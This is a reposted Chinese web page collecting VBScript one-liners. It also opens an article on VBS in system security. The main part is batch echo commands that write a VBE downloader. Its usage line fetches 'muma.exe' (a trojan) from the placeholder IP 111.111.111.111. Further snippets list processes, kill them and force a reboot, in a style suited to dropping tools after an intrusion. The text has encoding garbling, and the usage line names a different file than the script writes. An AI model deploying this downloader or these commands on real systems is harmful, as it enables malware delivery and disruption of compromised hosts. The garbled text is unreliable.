收集的一些經(jīng)典的vbs腳本大全
2019-10-26 17:57:53
供稿:網(wǎng)友
記錄一些經(jīng)典的vbs腳本
1.文件下載(無回顯)
echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = createObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe
用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe
2.列舉進(jìn)程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts://./root/cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
用法:cscript ps.vbs
3.終止進(jìn)程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts://./root/cimv2:win32_process").instances_ >>pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs
用法:cscript pskill.vbs pid
4.重啟系統(tǒng)
@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!//./root/cimv2:win32_operatingsystem").instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs
用法:cscript reboot.vbs
VBS腳本在系統(tǒng)安全中的八則巧妙應(yīng)用
VBS腳本病毒的大量流行使我們對(duì)VBS的功能有了一個(gè)全新的認(rèn)識(shí),現(xiàn)在大家對(duì)它也開始重視起來。VBS代碼在本地是通過Windows Script Host(WSH)解釋執(zhí)行的。VBS腳本的執(zhí)行離不開WSH,WSH是微軟提供的一種基于32位Windows平臺(tái)的、與語言無關(guān)的腳本解釋機(jī)制,它使得腳本能夠直接在Windows桌面或命令提示符下運(yùn)行。利用WSH,用戶能夠操縱WSH對(duì)象、ActiveX對(duì)象、注冊(cè)表和文件系統(tǒng)。在Windows 2000下,還可用WSH來訪問Windows NT活動(dòng)目錄服務(wù)。
用VBS編寫的腳本程序在窗口界面是由wscript.exe文件解釋執(zhí)行的,在字符界面由cscript.exe文件解釋執(zhí)行。wscript.exe是一個(gè)腳本語言解釋器,正是它使得腳本可以被執(zhí)行,就象執(zhí)行批處理一樣。關(guān)于VBS大家一定比我熟悉多了,所以再不廢話,直接進(jìn)入主題,看看我總結(jié)的VBS在系統(tǒng)安全中的八則妙用吧。